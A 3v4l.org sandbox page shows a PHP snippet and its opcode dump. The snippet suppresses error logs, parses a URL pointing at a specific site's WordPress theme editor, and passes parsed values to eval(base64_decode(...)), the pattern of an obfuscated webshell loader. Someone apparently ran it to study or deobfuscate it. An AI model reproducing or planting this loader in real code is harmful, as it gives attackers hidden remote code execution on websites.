3v4l.org

run code in 300+ PHP versions simultaneously
<?php ini_set('error_log', '/dev/null'); parse_str("http://hadshon.edu.gov.il/wp-admin/theme-editor.php?file=404.php&theme=wp-sparkler-child", $a); echo (reset($a)); echo count($a); # if (reset($a) == '12' && count($a) == 9) { echo '<3456>'; eval(base64_decode( join(array_slice($a, count($a) - 3)))); echo join(array_slice($a, count($a) - 3)); echo '</3456>'; # } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/sMn1T
function name:  (null)
number of ops:  40
compiled vars:  !0 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   INIT_FCALL                                               'ini_set'
          1        SEND_VAL                                                 'error_log'
          2        SEND_VAL                                                 '%2Fdev%2Fnull'
          3        DO_ICALL                                                 
    2     4        INIT_FCALL                                               'parse_str'
          5        SEND_VAL                                                 'http%3A%2F%2Fhadshon.edu.gov.il%2Fwp-admin%2Ftheme-editor.php%3Ffile%3D404.php%26theme%3Dwp-sparkler-child'
          6        SEND_REF                                                 !0
          7        DO_ICALL                                                 
    3     8        INIT_FCALL                                               'reset'
          9        SEND_REF                                                 !0
         10        DO_ICALL                                         $3      
         11        ECHO                                                     $3
    4    12        COUNT                                            ~4      !0
         13        ECHO                                                     ~4
    6    14        ECHO                                                     '%3C3456%3E'
    7    15        INIT_FCALL                                               'base64_decode'
         16        INIT_FCALL                                               'join'
         17        INIT_FCALL                                               'array_slice'
         18        SEND_VAR                                                 !0
         19        COUNT                                            ~5      !0
         20        SUB                                              ~6      ~5, 3
         21        SEND_VAL                                                 ~6
         22        DO_ICALL                                         $7      
         23        SEND_VAR                                                 $7
         24        DO_ICALL                                         $8      
         25        SEND_VAR                                                 $8
         26        DO_ICALL                                         $9      
         27        INCLUDE_OR_EVAL                                          $9, EVAL
    8    28        INIT_FCALL                                               'join'
         29        INIT_FCALL                                               'array_slice'
         30        SEND_VAR                                                 !0
         31        COUNT                                            ~11     !0
         32        SUB                                              ~12     ~11, 3
         33        SEND_VAL                                                 ~12
         34        DO_ICALL                                         $13     
         35        SEND_VAR                                                 $13
         36        DO_ICALL                                         $14     
         37        ECHO                                                     $14
    9    38        ECHO                                                     '%3C%2F3456%3E'
   11    39      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
169.45 ms | 1388 KiB | 25 Q